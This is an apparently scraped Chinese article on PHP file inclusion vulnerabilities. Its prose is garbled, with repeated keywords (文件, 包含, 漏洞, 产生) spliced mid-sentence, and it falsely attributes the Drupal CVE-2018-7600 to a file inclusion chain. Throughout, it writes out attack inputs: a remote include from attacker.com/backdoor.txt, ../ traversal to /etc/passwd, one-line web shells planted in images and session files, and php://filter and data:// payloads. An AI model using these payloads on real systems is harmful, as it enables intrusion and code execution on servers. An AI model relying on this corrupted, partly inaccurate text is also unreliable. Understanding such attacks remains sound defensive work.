php更容易产生文件包含漏洞
作者:综合 来源:娱乐 浏览: 【大 中 小】 发布时间:2026-10-17 06:40:36 评论数:
PHP 里一个 include($_GET['page']) 就能让攻击者直接读取 /etc/passwd,甚至执行任意代码。产生这不是文件理论——2018 年 Drupal 的 CVE-2018-7600 就是利用文件包含链打穿了整个站点。别的包含语言也有包含功能,但 PHP 的漏洞设计让它天然更容易掉进这个坑。
先看最直接的容易差异。PHP 的产生 include 和 require 接受的不只是本地路径。你给它一个 URL,文件它真会去 HTTP 请求那个地址,包含然后把响应当 PHP 代码解析执行。漏洞Java 的容易 import 是编译期的,Python 的产生 import 虽然也能动态导入,但默认只认模块名,文件不会把 http://evil.com/shell.txt 当模块加载。包含PHP 这个 allow_url_include 配置项默认是漏洞关的,可很多老项目、教程、复制粘贴的代码里,它被打开过。一旦打开,一个 ?file=http://attacker.com/backdoor.txt 就直接 getshell。
更常见的是本地包含。PHP 没有严格的“项目根目录”概念。include('header.php') 会沿着 include_path 一路找,当前目录、系统临时目录、甚至 /tmp 都在搜索范围内。攻击者传一个 ?page=../../../../etc/passwd,路径穿越就发生了。Java 的类加载器有包名和 classpath 约束,Python 的 importlib 要指定具体模块,而 PHP 的包含路径是字符串拼接,没有任何命名空间或沙箱隔离。你写 include($base . $_GET['mod'] . '.php'),攻击者用 ?mod=../../uploads/evil 就能绕过后缀限制——PHP 会先解析路径,.php 被截断或忽略,实际包含的是上传的图片马。
另一个致命点是 PHP 的文件包含和文件上传经常在同一个应用里混用。用户上传一个头像,文件存到 /uploads/avatar.jpg。里面藏一段 <?php system($_GET['c']); ?>。然后文件包含漏洞点用 ?page=uploads/avatar.jpg 去包含它。PHP 不关心扩展名,.jpg 里的 PHP 代码照样执行。换成 Node.js,require('./avatar.jpg') 会直接报错,因为 Node 只认 .js、.json、.node。PHP 的宽容在这里变成了灾难。
我见过一个 CMS,后台“模板管理”功能允许管理员输入模板路径。代码是include($tpl_dir . $tpl_name . '.html')。管理员以为只能填文件名,但攻击者用?tpl=../../../../tmp/sess_xxx包含了一个 session 文件。session 文件里存着他自己控制的用户名——<?php eval($_POST['x']); ?>。整个利用链不需要任何上传功能,只靠一个包含点和一个可控的 session 值。
PHP 的 include 还能包含 php://input、php://filter、data:// 这些流包装器。?file=php://filter/convert.base64-decode/resource=index.php 可以读取源码,?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ 直接执行代码。其他语言也有类似机制,但 PHP 的流包装器默认启用得太多,而且文档里到处是“你可以包含远程文件”的示例。这种设计哲学——灵活优先于安全——渗透在整个 PHP 生态里。
框架层面也在放大问题。ThinkPHP 5.0.23 的 Request::input 方法允许通过 ?a=include&b=... 调用任意函数,本质是变量覆盖加文件包含。Laravel 的 Blade 模板编译后是 PHP 文件,如果模板路径可控,同样能包含恶意文件。这些框架的 ORM、路由、模板引擎都建立在 PHP 原生包含机制上,底层漏洞会直接穿透到应用层。Java 的 Spring 有严格的类加载隔离,Python 的 Django 模板引擎根本不执行任意文件,PHP 的“共享一切”模型让包含漏洞像野火一样蔓延。
修补起来也麻烦。你可以在 php.ini 里设 open_basedir 限制目录,但很多虚拟主机为了兼容性把它关了。你可以用 basename() 过滤路径,但攻击者用 ?file=....//....//etc/passwd 就能绕过。你可以白名单校验,但业务逻辑一变,白名单就失效。Java 的 SecurityManager 或者 Python 的 audit hook 能从语言层面拦截危险操作,PHP 直到 8.0 才引入 JIT 和更严格的类型,但包含漏洞的根源——字符串路径直接进文件系统——没变。
所以下次你写 include $_GET['page'] 的时候,想想那个 Drupal 漏洞。PHP 的方便是拿安全换来的,文件包含就是账单。
